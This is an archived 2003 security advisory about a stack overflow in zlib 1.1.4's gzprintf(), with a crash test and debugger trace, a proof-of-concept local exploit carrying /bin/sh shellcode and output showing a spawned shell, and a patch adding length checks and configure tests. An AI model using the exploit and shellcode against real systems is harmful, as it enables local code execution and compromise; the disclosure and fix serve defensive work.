24th Feb 2003 [SBWID-6013]
COMMAND
	zlib buffer overrun in gzprintf()
SYSTEMS AFFECTED
	zlib 1.1.4
PROBLEM
	Richard Kettlewell [[email protected]] posted :
	zlib  contains  a  function  called  gzprintf().  This  is  similar   in
	behaviour to fprintf() except that by default, this function will  smash
	the  stack  if  called  with  arguments  that  expand   to   more   than
	Z_PRINTF_BUFSIZE (=4096 by default) bytes.
	There is an internal #define  (HAS_vsnprintf)  that  causes  it  to  use
	vsnprintf() instead of vsprintf(), but this is not enabled  by  default,
	not tested for by the configure script, and not documented.
	Even if it was documented, tested for, or whatever, it is  unclear  what
	platforms without vsnprintf() are  supposed  to  do.  Put  up  with  the
	security hole, perhaps.
	Finally, with HAS_vsnprintf  defined,  long  strings  will  be  silently
	truncated (and this isn't documented  anywhere).  Unexpected  truncation
	of strings can have security implications too; I seem to recall  that  a
	popular MTA had trouble with over-long HELO strings for instance.
	
	    $ cat crashzlib.c
	    #include <zlib.h>
	    #include <errno.h>
	    #include <stdio.h>
	    int main(void) {
	      gzFile f;
	      int ret;
	      if(!(f = gzopen("/dev/null", "w"))) {
	        perror("/dev/null");
	        exit(1);
	      }
	      ret = gzprintf(f, "%10240s", "");
	      printf("gzprintf -> %d\n", ret);
	      ret = gzclose(f);
	      printf("gzclose -> %d [%d]\n", ret, errno);
	      exit(0);
	    }
	    $ gcc -g -o crashzlib crashzlib.c -lz
	    $ ./crashzlib 
	    Segmentation fault (core dumped)
	    $ 
	    $ dpkg -l zlib\* | grep ^i
	    ii  zlib1g         1.1.4-1        compression library - runtime
	    ii  zlib1g-dev     1.1.4-1        compression library - development
	    $ gdb crashzlib core
	    GNU gdb 2002-04-01-cvs
	    Copyright 2002 Free Software Foundation, Inc.
	    GDB is free software, covered by the GNU General Public License, and you are
	    welcome to change it and/or distribute copies of it under certain conditions.
	    Type "show copying" to see the conditions.
	    There is absolutely no warranty for GDB.  Type "show warranty" for details.
	    This GDB was configured as "i386-linux"...
	    Core was generated by `           '.
	    Program terminated with signal 11, Segmentation fault.
	    Reading symbols from /usr/lib/libz.so.1...done.
	    Loaded symbols for /usr/lib/libz.so.1
	    Reading symbols from /lib/libc.so.6...done.
	    Loaded symbols for /lib/libc.so.6
	    Reading symbols from /lib/ld-linux.so.2...done.
	    Loaded symbols for /lib/ld-linux.so.2
	    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
	    (gdb) bt
	    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
	    #1  0x4008b52a in _IO_padn () from /lib/libc.so.6
	    #2  0x40075128 in vfprintf () from /lib/libc.so.6
	    #3  0x4008c0c3 in vsprintf () from /lib/libc.so.6
	    #4  0x4001c923 in gzprintf () from /usr/lib/libz.so.1
	    #5  0x20202020 in ?? ()
	    Cannot access memory at address 0x20202020
	    (gdb) $ 
	
	 Update (24 Februrary 2003)
	 ======
	
	/*
	\   PoC local exploit for zlib <= 1.1.4
	/      just for fun..not for root :)
	\
	/   Usage: gcc -o zlib zlib.c -lz
	\
	/   by CrZ [[email protected]] lbyte
	[lbyte.void.ru]
	*/
	#include <zlib.h>
	#include <errno.h>
	#include <stdio.h>
	int main(int argc, char **argv) {
	        char shell[]=
	                "\x90\x90\x90\x90\x90\x90\x90\x90"
	                "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	                "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
	                "\xc0\x88\x43\x07\x89\x5b\x08\x89"
	                "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
	                "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
	                "/bin/sh";
	        gzFile f;
	        int ret;
	        long xret;
	        char cret[10];
	        char badbuff[10000];
	        int i;
	        sprintf(badbuff,"%p",shell);
	        sscanf(badbuff,"0x%x",&xret);
	        printf("[>] exploiting...\n");
	        if(!(f = gzopen("/dev/null", "w"))) {
	                perror("/dev/null");
	                exit(1);
	        }
	        printf("[>] xret = 0x%x\n",xret);
	sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
	(xret>>16)&0xff,(xret>>24)&0xff);
	        bzero(badbuff,sizeof(badbuff));
	        for(i=0;i<5000;i+=4) strcat(badbuff,cret);
	        setuid(0);
	        setgid(0);
	        ret = gzprintf(stderr, "%s", badbuff );
	        setuid(0);
	        setgid(0);
	        printf(">Sent!..\n");
	        printf("gzprintf -> %d\n", ret);
	        ret = gzclose(f);
	        printf("gzclose -> %d [%d]\n", ret, errno);
	        exit(0);
	}
	[crz@blacksand crz]$ gcc -o zlib zlib.c -lz
	[crz@blacksand crz]$ ./zlib
	[>] exploiting...
	[>] xret = 0xbffff8f0
	sh-2.05b$ exit
	exit
	[crz@blacksand crz]$
	
SOLUTION
	 Update (25 February 2003)
	 ======
	Path provided by Kelledin, check diff below :
	 
	--------------Boundary-00=_PL7UCIIZFVAHYU3BF0WO
	Content-Type: text/x-diff;
	  charset="iso-8859-1";
	  name="zlib-1.1.4-3-vsnprintf.patch"
	Content-Transfer-Encoding: 7bit
	Content-Disposition: attachment; filename="zlib-1.1.4-3-vsnprintf.patch"
	diff -Naur zlib-1.1.4/ChangeLog zlib-1.1.4-vsnprintf/ChangeLog
	--- zlib-1.1.4/ChangeLog	2002-03-11 15:02:35.000000000 +0000
	+++ zlib-1.1.4-vsnprintf/ChangeLog	2003-02-24 05:31:41.000000000 +0000
	@@ -1,6 +1,13 @@
	 		ChangeLog file for zlib
	+Changes in 1.1.4-patched (23 February 2003)
	+- fix a security vulnerability related to improper use of snprintf/vsnprintf
	+  function.
	+- ./configure now detects the presence of snprintf/vsnprintf and enables it
	+  automatically if present.
	+- README.vsnprintf added.
	+
	 Changes in 1.1.4 (11 March 2002)
	 - ZFREE was repeated on same allocation on some error conditions.
	   This creates a security problem described in
	diff -Naur zlib-1.1.4/README.vsnprintf zlib-1.1.4-vsnprintf/README.vsnprintf
	--- zlib-1.1.4/README.vsnprintf	1970-01-01 00:00:00.000000000 +0000
	+++ zlib-1.1.4-vsnprintf/README.vsnprintf	2003-02-24 05:13:28.000000000 +0000
	@@ -0,0 +1,23 @@
	+During a recent audit of zlib-1.1.4, a buffer-overflow and string-format
	+vulnerability was found in the gzprintf() function.  This has been corrected in
	+this version of zlib; in addition, some ./configure checks have been added to
	+make sure the host system can utilize the corrections fully.
	+
	+As a result, it is now strongly recommended that your host system or compiler
	+provide a fully C99-compliant implementation of the vsnprintf() function.
	+Anything less will reduce the functionality and/or security of the gzprintf()
	+function.  The most critical aspect is that vsnprintf() should be present and
	+should provide a return value.  If this function is missing, one of the
	+fallback functions (vsprintf(), snprintf(), vsnprintf()) will have to be used,
	+and if so, they too should return a value.  If your system is lacking in any of
	+these aspects, the ./configure script should warn you and refer you to this
	+file.
	+
	+In addition, the HAS_vsnprintf and HAS_snprintf macros are automatically
	+defined if these functions are available.  zlib-1.1.4 and older versions did
	+not do this, potentially leading to a broken and vulnerable zlib even when the
	+host system supported the requisite functionality to avoid this.
	+
	+
	+                                  -- Kelledin <[email protected]>
	+
	diff -Naur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure
	--- zlib-1.1.4/configure	1998-07-08 18:19:35.000000000 +0000
	+++ zlib-1.1.4-vsnprintf/configure	2003-02-24 05:13:28.000000000 +0000
	@@ -156,6 +156,209 @@
	 fi
	 cat > $test.c <<EOF
	+#include <stdio.h>
	+
	+#if (defined(__MSDOS__) || defined(_WINDOWS) || defined(_WIN32) || defined(__WIN32__) || defined(WIN32) || defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)) && !defined(STDC)
	+#  define STDC
	+#endif
	+
	+int main() {
	+  int i;
	+
	+  i=0;
	+#ifndef STDC
	+  choke me
	+#endif
	+
	+  return 0;
	+}
	+EOF
	+
	+if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+  echo "Checking whether to use vsnprintf() or snprintf()... using vsnprintf()"
	+
	+  cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest(char *fmt, ...) {
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  vsnprintf(buf, sizeof(buf), fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest("Hello%d\n", 1));
	+}
	+EOF
	+
	+  if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+    CFLAGS="$CFLAGS -DHAS_vsnprintf"
	+    echo "Checking for vsnprintf() in stdio.h... Yes."
	+
	+    cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest(char *fmt, ...) {
	+  int i;
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  i=vsnprintf(buf, sizeof(buf), fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest("Hello%d\n", 1));
	+}
	+EOF
	+
	+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+      CFLAGS="$CFLAGS -DHAS_vsnprintf_return"
	+      echo "Checking for return value of vsnprintf()... Yes."
	+    else
	+      echo "Checking for return value of vsnprintf()... No."
	+      echo "  WARNING: apparently vsnprintf() does not return a value.  zlib"
	+      echo "  can build but will be open to possible string-format security"
	+      echo "  vulnerabilities.  See README.vsnprintf for more info."
	+      echo
	+    fi
	+  else
	+    echo "Checking for vsnprintf() in stdio.h... No."
	+    echo "  WARNING: vsnprintf() not found, falling back to vsprintf().  zlib"
	+    echo "  can build but will be open to possible buffer-overflow security"
	+    echo "  vulnerabilities.  See README.vsnprintf for more info."
	+    echo
	+
	+    cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest(char *fmt, ...) {
	+  int i;
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  i=vsprintf(buf, fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest("Hello%d\n", 1));
	+}
	+EOF
	+
	+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+      CFLAGS="$CFLAGS -DHAS_vsprintf_return"
	+      echo "Checking for return value of vsprintf()... Yes."
	+    else
	+      echo "Checking for return value of vsprintf()... No."
	+      echo "  WARNING: apparently vsprintf() does not return a value.  zlib"
	+      echo "  can build but will be open to possible string-format security"
	+      echo "  vulnerabilities.  See README.vsnprintf for more info."
	+      echo
	+    fi
	+  fi
	+else
	+  echo "Checking whether to use vsnprintf() or snprintf()... using snprintf()"
	+
	+  cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest() {
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  snprintf(buf, sizeof(buf), fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest());
	+}
	+EOF
	+
	+  if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+    CFLAGS="$CFLAGS -DHAS_snprintf"
	+    echo "Checking for snprintf() in stdio.h... Yes."
	+
	+    cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest() {
	+  int i;
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  i=snprintf(buf, sizeof(buf), fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest());
	+}
	+EOF
	+
	+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+      CFLAGS="$CFLAGS -DHAS_snprintf_return"
	+      echo "Checking for return value of snprintf()... Yes."
	+    else
	+      echo "Checking for return value of snprintf()... No."
	+      echo "  WARNING: apparently snprintf() does not return a value.  zlib"
	+      echo "  can build but will be open to possible string-format security"
	+      echo "  vulnerabilities.  See README.vsnprintf for more info."
	+      echo
	+    fi
	+  else
	+    echo "Checking for snprintf() in stdio.h... No."
	+    echo "  WARNING: snprintf() not found, falling back to sprintf().  zlib"
	+    echo "  can build but will be open to possible buffer-overflow security"
	+    echo "  vulnerabilities.  See README.vsnprintf for more info."
	+    echo
	+
	+    cat > $test.c <<EOF
	+#include <stdio.h>
	+#include <stdarg.h>
	+
	+int mytest() {
	+  int i;
	+  char buf[20];
	+  va_list ap;
	+
	+  va_start(ap, fmt);
	+  i=sprintf(buf, fmt, ap);
	+  return 0;
	+}
	+
	+int main() {
	+  return (mytest());
	+}
	+EOF
	+
	+    if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
	+      CFLAGS="$CFLAGS -DHAS_sprintf_return"
	+      echo "Checking for return value of sprintf()... Yes."
	+    else
	+      echo "Checking for return value of sprintf()... No."
	+      echo "  WARNING: apparently sprintf() does not return a value.  zlib"
	+      echo "  can build but will be open to possible string-format security"
	+      echo "  vulnerabilities.  See README.vsnprintf for more info."
	+      echo
	+    fi
	+  fi
	+fi
	+
	+cat > $test.c <<EOF
	 #include <errno.h>
	 int main() { return 0; }
	 EOF
	diff -Naur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c
	--- zlib-1.1.4/gzio.c	2002-03-11 13:16:01.000000000 +0000
	+++ zlib-1.1.4-vsnprintf/gzio.c	2003-02-24 05:18:44.000000000 +0000
	@@ -529,14 +529,42 @@
	     int len;
	     va_start(va, format);
	+
	+    /* 2003/02/23: Add proper length checking here, if possible.
	+     *
	+     *    -- Kelledin
	+     */
	 #ifdef HAS_vsnprintf
	-    (void)vsnprintf(buf, sizeof(buf), format, va);
	+#  ifdef HAS_vsnprintf_return
	+    len=vsnprintf(buf, sizeof(buf), format, va);
	+    va_end(va);
	+
	+    if (len <= 0 || len >= sizeof(buf)) {
	+        /* Resulting string too large to fit in the buffer. */
	+        return 0;
	+    }
	+#  else
	+    vsnprintf(buf, sizeof(buf), format, va);
	+    va_end(va);
	+    len=strlen(buf);
	+    if (len <= 0) return 0;
	+#  endif
	 #else
	-    (void)vsprintf(buf, format, va);
	-#endif
	+#  ifdef HAS_vsprintf_return
	+    len=vsprintf(buf, format, va);
	+    va_end(va);
	+
	+    if (len <= 0 || len >= sizeof(buf)) {
	+        /* Resulting string too large to fit in the buffer. */
	+        return 0;
	+    }
	+#  else
	+    vsprintf(buf, format, va);
	     va_end(va);
	-    len = strlen(buf); /* some *sprintf don't return the nb of bytes written */
	+    len=strlen(buf);
	     if (len <= 0) return 0;
	+#  endif
	+#endif
	     return gzwrite(file, buf, (unsigned)len);
	 }
	@@ -552,15 +580,41 @@
	     char buf[Z_PRINTF_BUFSIZE];
	     int len;
	+    /* 2003/02/23: Add proper length checking here when possible.
	+     *
	+     *    -- Kelledin
	+     */
	 #ifdef HAS_snprintf
	+#  ifdef HAS_snprintf_return
	+    len=snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
	+	         a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
	+
	+    if (len <= 0 || len >= sizeof(buf)) {
	+        /* Resulting string too large to fit in the buffer. */
	+        return 0;
	+    }
	+#  else
	     snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
	 	     a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
	+    len=strlen(buf);
	+    if (len <= 0) return 0;
	+#  endif
	 #else
	+#  ifdef HAS_sprintf_return
	+    len=sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
	+	        a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
	+
	+    if (len <= 0 || len >= sizeof(buf)) {
	+        /* Resulting string too large to fit in the buffer. */
	+        return 0;
	+    }
	+#  else
	     sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
	 	    a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
	-#endif
	-    len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */
	+    len=strlen(buf);
	     if (len <= 0) return 0;
	+#  endif
	+#endif
	     return gzwrite(file, buf, len);
	 }
	--------------Boundary-00=_PL7UCIIZFVAHYU3BF0WO--